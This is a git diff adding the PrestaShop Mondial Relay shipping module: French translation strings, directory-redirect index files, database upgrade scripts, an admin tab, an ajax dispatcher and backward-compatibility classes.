+$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Langage invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Coefficient de poids invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Nom de transporteur invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Col Mode invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Mode de livraison invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Assurance invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'Vous devez choisir au moins un pays de livraison'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Etat de commande invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action réussie'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_672facd73d4aee44c116cfd95298db87'] = 'Les informations du compte viennent d\'être mises à jour'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Impossibilité de mettre à jour les infos du compte pour cette boutique'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea50be3d60be594e10e9e3560cb9159f'] = 'Nouvelle méthode de transport ajoutée'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d0cfdfcfb71029b561f5ebdc176d87ca'] = 'Le statu de la commande à été mise à jour'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_7534411af2e35bed1f79df5938f077f9'] = 'Le transporteur a été supprimé (désactivé dans la base de données de PrestaShop)'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'URL de l\'étiquette'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'URL de suivi'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Numéro du point relai:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_aa625fced6f01ae595b6a9ac499c2ecf'] = 'La tranche de poids ne peut être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_63d15383121b5bb5c53323f3f96bd1f2'] = 'La tranche de prix ne peux être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d4d197dd028e28ae56208971b564921a'] = 'La zone par défaut ne peut être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_760ac6deb1c5b84321f65ba0c7f319f5'] = 'La zone du transporteur ou les données de livraison ne peuvent être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8bf569ff65b32464e623ca9e9a10688d'] = 'Le transporteur ne peut être créé'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_6ed26bdf3f9141ddca4ede91f943e567'] = 'Le mode de transporteur ne peut être ajouté pour le module'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_af135815ccf731bcbffb522004762b57'] = 'Le transporteur ne peut être supprimé'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Cette erreur n\'est pas mentionnée:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Veuillez choisir au moins une commande'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_8184ba43565d0d65b7b1739f2cef25c8'] = 'La requete semble invalide'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Numéro d\'expédition :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'URL du Ticket :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'Url de Tracking :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_952a812236cabbd70b949ecb43f89c82'] = 'Le webservice Mondial Relay semble être déconnecté'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Merci de vérifier la configuration de votre langue'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Merci de vérifier la configuration de votre nom de boutique'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Merci de vérifier la configuration de votre adresse 1'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Merci de vérifier la configuration de votre ville'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Merci de vérifier la configuration de votre code postal'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Merci de vérifier la configuration de votre pays'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Merci de vérifier la configuration de votre téléphone'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Merci de vérifier la configuration de votre email'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_85e6a18230d49abf8cfe912809185258'] = 'La validation du code postal ne peux être effectué sur une version de PrestaShop inférieur à la 1.4'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut etre trouvé'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'n\'a pas un format valide'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semblerai que la requete n\'est pas valide'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'Il y a une erreur numéro'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détail :'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'MondialRelay ne peux trouver aucun point relais proche de votre adresse. Peut etre que votre adresse n\'est pas correctement rempli ?'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice MondialRelay n\'est pas joignable'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'n\'a pas un format valide'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semble que la requête soit invalide :'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice Mondial Relay est actuellement innaccessible.'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Désintaller MondialRelay'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Vous allez désintaller le module : voulez vous aussi effacer les paramètres relatifs à Mondial Relay?'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Garder et désintaller'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Supprimer et désinstaller'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Certaines étiquettes ne peuvent pas être supprimées : veuillez réessayer un peu plus tard.'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Veuillez choisir au moins un élèment de l\'historique'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut être trouvé'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semble que la requête ne soit pas valide'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lundi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Mardi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Mercredi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Jeudi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Vendredi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Samedi'; diff --git a/modules/mondialrelay/translations/fr.php b/modules/mondialrelay/translations/fr.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/mondialrelay/translations/fr.php @@ -0,0 +1,4 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/modules/mondialrelay/upgrade/index.php b/modules/mondialrelay/upgrade/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay/upgrade/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/upgrade/install-1.8.0.php b/modules/mondialrelay/upgrade/install-1.8.0.php new file mode 100755 index 0000000..f773ebc --- /dev/null +++ b/modules/mondialrelay/upgrade/install-1.8.0.php @@ -0,0 +1,105 @@ +upgrade_detail[$upgrade_version] = array(); + + // Add new table to handle multi-shop for a carrier + $query = ' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'mr_method_shop` ( + `id_mr_method_shop` int(10) unsigned NOT NULL auto_increment, + `id_mr_method` int(10) unsigned NOT NULL, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_mr_method_shop`) + ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;'; + + if (!Db::getInstance()->execute($query)) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t create method shop table'); + + // Refacto name + $query = ' + ALTER TABLE `'._DB_PREFIX_.'mr_method` CHANGE `id_mr_method` `id_mr_method` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT , + CHANGE `mr_Name` `name` VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL , + CHANGE `mr_Pays_list` `country_list` VARCHAR( 1000 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL , + CHANGE `mr_ModeCol` `col_mode` VARCHAR( 3 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL , + CHANGE `mr_ModeLiv` `dlv_mode` VARCHAR( 3 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL , + CHANGE `mr_ModeAss` `insurance` VARCHAR( 3 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT \'0\', + CHANGE `id_carrier` `id_carrier` INT( 10 ) NOT NULL'; + + if (!Db::getInstance()->execute($query)) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t change name of the method table'); + + $query = 'RENAME TABLE `'._DB_PREFIX_.'mr_historique` TO `'._DB_PREFIX_.'mr_history`'; + + if (!Db::getInstance()->execute($query)) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t rename the history table'); + + $object->account_shop['MR_ENSEIGNE_WEBSERVICE'] = Configuration::get('MR_ENSEIGNE_WEBSERVICE'); + $object->account_shop['MR_CODE_MARQUE'] = Configuration::get('MR_CODE_MARQUE'); + $object->account_shop['MR_KEY_WEBSERVICE'] = Configuration::get('MR_KEY_WEBSERVICE'); + $object->account_shop['MR_LANGUAGE'] = Configuration::get('MR_LANGUAGE'); + $object->account_shop['MR_WEIGHT_COEFFICIENT'] = Configuration::get('MR_WEIGHT_COEF'); + $object->account_shop['MR_ORDER_STATE'] = Configuration::get('MONDIAL_RELAY_ORDER_STATE'); + $object->updateAccountShop(); + + Configuration::deleteByName('MONDIAL_RELAY_INSTALL_UPDATE'); + Configuration::deleteByName('MONDIAL_RELAY_ORDER_STATE'); + Configuration::deleteByName('MR_ENSEIGNE_WEBSERVICE'); + Configuration::deleteByName('MR_CODE_MARQUE'); + Configuration::deleteByName('MR_KEY_WEBSERVICE'); + Configuration::deleteByName('MR_WEIGHT_COEF'); + Configuration::deleteByName('MR_LANGUAGE'); + Configuration::deleteByName('MONDIAL_RELAY_1_4'); + Configuration::deleteByName('MONDIAL_RELAY_INSTALL_UPDATE_1'); + + Configuration::updateValue('MONDIAL_RELAY', $upgrade_version); + + $methods = Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'mr_method`'); + if (count($methods)) + { + $query = ' + INSERT INTO `'._DB_PREFIX_.'mr_method_shop` + (id_mr_method, id_shop) VALUES '; + + foreach ($methods as $method) + $query .= '('.(int)$method['id_mr_method'].', '.(int)$object->account_shop['id_shop'].'),'; + $query = trim($query, ','); + if (!Db::getInstance()->execute($query)) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t update table mr_method_shop'); + + } + + if (!empty($object->installed_version)) + { + if ($object->installed_version < '1.4') + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'carrier` + SET + `shipping_external` = 0, + `need_range` = 1, + `external_module_name` = "mondialrelay", + `shipping_method` = 1 + WHERE `id_carrier` + IN (SELECT `id_carrier` + FROM `'._DB_PREFIX_.'mr_method`)'); + } + + // Try to register the new hook since 1.7 + if (!$object->isRegisteredInHook('newOrder')) + $object->registerHook('newOrder'); + if (!$object->isRegisteredInHook('BackOfficeHeader')) + $object->registerHook('BackOfficeHeader'); + + if (!$object->isRegisteredInHook('header')) + $object->registerHook('header'); + + return (bool)count($object->upgrade_detail[$upgrade_version]); +} \ No newline at end of file diff --git a/modules/mondialrelay/upgrade/install-1.8.3.php b/modules/mondialrelay/upgrade/install-1.8.3.php new file mode 100755 index 0000000..fa360d6 --- /dev/null +++ b/modules/mondialrelay/upgrade/install-1.8.3.php @@ -0,0 +1,18 @@ +upgrade_detail[$upgrade_version] = array(); + + if (!Db::getInstance()->execute('ALTER TABLE `'._DB_PREFIX_.'mr_method` ADD `is_deleted` INT NOT NULL')) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t add new field in methodtable'); + + Configuration::updateValue('MONDIAL_RELAY', $upgrade_version); + return (bool)count($object->upgrade_detail[$upgrade_version]); +} \ No newline at end of file diff --git a/modules/mondialrelay2/AdminMondialRelay.gif b/modules/mondialrelay2/AdminMondialRelay.gif new file mode 100755 index 0000000..7550096 Binary files /dev/null and b/modules/mondialrelay2/AdminMondialRelay.gif differ diff --git a/modules/mondialrelay2/AdminMondialRelay.php b/modules/mondialrelay2/AdminMondialRelay.php new file mode 100755 index 0000000..7637b9f --- /dev/null +++ b/modules/mondialrelay2/AdminMondialRelay.php @@ -0,0 +1,154 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/classes/MRCreateTickets.php'); +require_once(dirname(__FILE__).'/mondialrelay.php'); + +class AdminMondialRelay extends AdminTab +{ + private $mondialrelay = NULL; + + public $post_errors = array(); + + public function __construct() + { + $this->mondialrelay = new MondialRelay(); + + $this->table = 'mr_selected'; + + parent::__construct(); + $this->context = Context::getContext(); + } + + private function displayOrdersTable() + { + $order_state = new OrderState((int)(Configuration::get('MONDIAL_RELAY_ORDER_STATE')), $this->context->language->id); + $orders = MondialRelay::getOrders(array(), MondialRelay::NO_FILTER, $this->mondialrelay->account_shop['MR_WEIGHT_COEFFICIENT']); + + // Simulate a ticket generation + $MRCreateTicket = new MRCreateTickets(array( + 'orderIdList' => NULL, + 'totalOrder' => NULL, + 'weightList' => NULL + ), + $this->mondialrelay + ); + + foreach($orders as &$order) + { + $order['display_total_price'] = Tools::displayPrice($order['total'], new Currency($order['id_currency'])); + $order['display_shipping_price'] = Tools::displayPrice($order['shipping'], new Currency($order['id_currency'])); + $order['display_date'] = Tools::displayDate($order['date'], $order['id_lang']); + $order['weight'] = (!empty($order['mr_weight']) && $order['mr_weight'] > 0) ? $order['mr_weight'] : $order['order_weight']; + } + + $controller = (_PS_VERSION_ < '1.5') ? 'AdminContact' : 'AdminStores'; + + $this->context->smarty->assign(array( + 'MR_token_admin_module' => Tools::getAdminToken('AdminModules'.(int)(Tab::getIdFromClassName('AdminModules')).(int)$this->context->employee->id), + 'MR_token_admin_contact' => array( + 'controller_name' => $controller, + 'token' => Tools::getAdminToken($controller.(int)(Tab::getIdFromClassName($controller)).(int)$this->context->employee->id)), + 'MR_token_admin_orders' => Tools::getAdminToken('AdminOrders'.(int)(Tab::getIdFromClassName('AdminOrders')).(int)$this->context->employee->id), + 'MR_order_state_name' => $order_state->name, + 'MR_orders' => $orders, + 'MR_PS_IMG_DIR_' => _PS_IMG_DIR_, + 'MR_errors_type' => $MRCreateTicket->checkPreValidation()) + ); + + unset($order_state); + echo $this->mondialrelay->fetchTemplate('/tpl/admintab/', 'generate_tickets'); + } + + public function displayhistoriqueForm() + { + $query = "SELECT * FROM `"._DB_PREFIX_ ."mr_history` ORDER BY `id` DESC ;"; + + $this->context->smarty->assign(array( + 'MR_histories' => Db::getInstance()->executeS($query)) + ); + echo $this->mondialrelay->fetchTemplate('/tpl/admintab/', 'history'); + } + + public function displaySettings($post_action) + { + $curr_order_state = new OrderState((int)$this->mondialrelay->account_shop['MR_ORDER_STATE']); + $order_state = array( + 'id_order_state' => $this->mondialrelay->account_shop['MR_ORDER_STATE'], + 'name' => $curr_order_state->name[$this->context->language->id] + ); + + $this->context->smarty->assign(array( + 'MR_token_admin_mondialrelay' => Tools::getAdminToken('AdminMondialRelay'.(int)(Tab::getIdFromClassName('AdminMondialRelay')).(int)$this->context->employee->id), + 'MR_account_set' => MondialRelay::isAccountSet(), + 'MR_order_state' => $order_state, + 'MR_orders_states_list' => OrderState::getOrderStates($this->context->language->id), + 'MR_form_action' => $post_action, + 'MR_error_list' => $this->post_errors + )); + + echo $this->mondialrelay->fetchTemplate('/tpl/admintab/', 'settings'); + } + + public function postProcess() + { + $post_action = array( + 'type' => Tools::getValue('MR_action_name'), + 'message_success' => $this->l('Action Succeed'), + 'had_errors' => false + ); + + parent::postProcess(); + + if (Tools::isSubmit('submit_order_state')) + if (($order_state = (int)Tools::getValue('id_order_state'))) + { + $this->mondialrelay->account_shop['MR_ORDER_STATE'] = $order_state; + + if ($this->mondialrelay->updateAccountShop()) + $post_action['message_success'] = $this->l('Order State has been updated'); + else + $this->post_errors[] = $this->l('Cannot Update the account shop'); + } + + if (count($this->post_errors)) + $post_action['had_errors'] = true; + + return $post_action; + } + + public function display() + { + $post_action = count($_POST) ? $this->postProcess() : NULL; + + $this->displaySettings($post_action); + if (MondialRelay::isAccountSet() && (int)$this->mondialrelay->account_shop['MR_ORDER_STATE']) + { + $this->displayOrdersTable(); + $this->displayhistoriqueForm(); + } + } +} diff --git a/modules/mondialrelay2/ajax.php b/modules/mondialrelay2/ajax.php new file mode 100755 index 0000000..a7e5c65 --- /dev/null +++ b/modules/mondialrelay2/ajax.php @@ -0,0 +1,145 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * File called by ajax. It's like a controller, you have to send the + * method name of the webservice and implement it. + * Each Name method allow to instanciate an object containing + * methods to manage correctly the data and name fields + */ + +// Clean displayed content for Admin ajax query +ob_clean(); + +// Front Ajax query, need the front cookie and MR class +// When it's back query, the PS core made the work +if (!defined('_PS_ADMIN_DIR_')) +{ + require_once(realpath(dirname(__FILE__).'/../../config/config.inc.php')); + require_once(realpath(dirname(__FILE__).'/../../init.php')); + require_once(dirname(__FILE__).'/mondialrelay.php'); +} + +$mondialrelay = isset($this) ? $this : new Mondialrelay(); + +require_once(dirname(__FILE__).'/classes/MRCreateTickets.php'); +require_once(dirname(__FILE__).'/classes/MRGetTickets.php'); +require_once(dirname(__FILE__).'/classes/MRGetRelayPoint.php'); +require_once(dirname(__FILE__).'/classes/MRRelayDetail.php'); +require_once(dirname(__FILE__).'/classes/MRManagement.php'); + +// Can't use Tools at this time... Need to know if _PS_ADMIN_DIR_ has to be defined +$method = Tools::getValue('method'); +$token = Tools::getValue('mrtoken'); + +// Access page List liable to the generated token +$accessPageList = array( + MondialRelay::getToken('front') => array( + 'MRGetRelayPoint', + 'addSelectedCarrierToDB' + ), + MondialRelay::getToken('back') => array( + 'MRGetTickets', + 'MRCreateTickets', + 'MRDeleteHistory', + 'uninstallDetail', + 'DeleteHistory' + ) +); + +$params = array(); +$result = array(); + +// If the method name associated to the token received doesn't match with +// the list, then we kill the request +if (!isset($accessPageList[$token]) || !in_array($method, $accessPageList[$token])) + exit(); + +// Method name allow to instanciate his object to properly call the +// implemented interface method and do his job +switch($method) +{ + case 'MRCreateTickets': + $params['orderIdList'] = Tools::getValue('order_id_list'); + $params['totalOrder'] = Tools::getValue('numSelected'); + $params['weightList'] = Tools::getValue('weight_list'); + break; + case 'MRGetTickets': + $params['detailedExpeditionList'] = Tools::getValue('detailedExpeditionList'); + break; + case 'DeleteHistory': + $params['historyIdList'] = Tools::getValue('history_id_list'); + break; + case 'uninstallDetail': + $params['action'] = Tools::getValue('action'); + break; + case 'MRGetRelayPoint': + $params['id_carrier'] = Tools::getValue('id_carrier'); + $params['weight'] = Context::getContext()->cart->getTotalWeight(); + $params['id_address_delivery'] = Context::getContext()->cart->id_address_delivery; + break; + case 'addSelectedCarrierToDB': + $params['id_carrier'] = Tools::getValue('id_carrier'); + $params['id_cart'] = Context::getContext()->cart->id; + $params['id_customer'] = Context::getContext()->customer->id; + $params['id_mr_method'] = Tools::getValue('id_mr_method'); + $params['relayPointInfo'] = Tools::getValue('relayPointInfo'); + break; + default: +} + +// Try to instanciate the method object name and call the necessaries method +try +{ + if (class_exists($method, false)) + { + // $this is the current mondialrelay object loaded when use in BO. Use for perf + $obj = new $method($params, $mondialrelay); + + // Verify that the class implement correctly the interface + // Else use a Management class to do some ajax stuff + if (($obj instanceof IMondialRelayWSMethod)) + { + $obj->init(); + $obj->send(); + $result = $obj->getResult(); + } + unset($obj); + } + else if (($management = new MRManagement($params)) && + method_exists($management, $method)) + $result = $management->{$method}(); + else + throw new Exception('Method Class : '.$method.' can\'t be found'); + unset($management); +} +catch(Exception $e) +{ + echo MRTools::jsonEncode(array('other' => array('error' => array($e->getMessage())))); + exit(-1); +} +echo MRTools::jsonEncode($result); +exit(0); diff --git a/modules/mondialrelay2/backward_compatibility/Context.php b/modules/mondialrelay2/backward_compatibility/Context.php new file mode 100755 index 0000000..0a7b372 --- /dev/null +++ b/modules/mondialrelay2/backward_compatibility/Context.php @@ -0,0 +1,347 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + require_once(_PS_MODULE_DIR_ . '/mobile_theme/Mobile_Detect.php'); + +// Retro 1.3, 'class_exists' cause problem with autoload... +if (version_compare(_PS_VERSION_, '1.4', '<')) +{ + // Not exist for 1.3 + class Shop extends ObjectModel + { + public $id = 1; + public $id_shop_group = 1; + + public function __construct() + { + } + + + public static function getShops() + { + return array( + array('id_shop' => 1, 'name' => 'Default shop') + ); + } + + public static function getCurrentShop() + { + return 1; + } + } + + class Logger + { + public static function AddLog($message, $severity = 2) + { + $fp = fopen(dirname(__FILE__).'/../logs.txt', 'a+'); + fwrite($fp, '['.(int)$severity.'] '.Tools::safeOutput($message)); + fclose($fp); + } + } + +} + +// Not exist for 1.3 and 1.4 +class Context +{ + /** + * @var Context + */ + protected static $instance; + + /** + * @var Cart + */ + public $cart; + + /** + * @var Customer + */ + public $customer; + + /** + * @var Cookie + */ + public $cookie; + + /** + * @var Link + */ + public $link; + + /** + * @var Country + */ + public $country; + + /** + * @var Employee + */ + public $employee; + + /** + * @var Controller + */ + public $controller; + + /** + * @var Language + */ + public $language; + + /** + * @var Currency + */ + public $currency; + + /** + * @var AdminTab + */ + public $tab; + + /** + * @var Shop + */ + public $shop; + + /** + * @var Smarty + */ + public $smarty; + + /** + * @ var Mobile Detect + */ + public $mobile_detect; + + /** + * @var boolean|string mobile device of the customer + */ + protected $mobile_device; + + public function __construct() + { + global $cookie, $cart, $smarty, $link; + + $this->tab = null; + + $this->cookie = $cookie; + $this->cart = $cart; + $this->smarty = $smarty; + $this->link = $link; + + $this->controller = new ControllerBackwardModule(); + if (is_object($cookie)) + { + $this->currency = new Currency((int)$cookie->id_currency); + $this->language = new Language((int)$cookie->id_lang); + $this->country = new Country((int)$cookie->id_country); + $this->customer = new CustomerBackwardModule((int)$cookie->id_customer); + $this->employee = new Employee((int)$cookie->id_employee); + } + else + { + $this->currency = null; + $this->language = null; + $this->country = null; + $this->customer = null; + $this->employee = null; + } + + $this->shop = new ShopBackwardModule(); + + if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + $this->mobile_detect = new Mobile_Detect(); + } + + public function getMobileDevice() + { + if (is_null($this->mobile_device)) + { + $this->mobile_device = false; + if ($this->checkMobileContext()) + { + switch ((int)Configuration::get('PS_MOBILE_DEVICE')) + { + case 0: // Only for mobile device + if ($this->mobile_detect->isMobile() && !$this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + case 1: // Only for touchpads + if ($this->mobile_detect->isTablet() && !$this->mobile_detect->isMobile()) + $this->mobile_device = true; + break; + case 2: // For touchpad or mobile devices + if ($this->mobile_detect->isMobile() || $this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + } + } + } + + return $this->mobile_device; + } + + protected function checkMobileContext() + { + return isset($_SERVER['HTTP_USER_AGENT']) + && (bool)Configuration::get('PS_MOBILE_DEVICE') + && !Context::getContext()->cookie->no_mobile; + } + + /** + * Get a singleton context + * + * @return Context + */ + public static function getContext() + { + if (!isset(self::$instance)) + self::$instance = new Context(); + return self::$instance; + } + + /** + * Clone current context + * + * @return Context + */ + public function cloneContext() + { + return clone($this); + } + + /** + * @return int Shop context type (Shop::CONTEXT_ALL, etc.) + */ + public static function shop() + { + if (!self::$instance->shop->getContextType()) + return ShopBackwardModule::CONTEXT_ALL; + return self::$instance->shop->getContextType(); + } +} + +/** 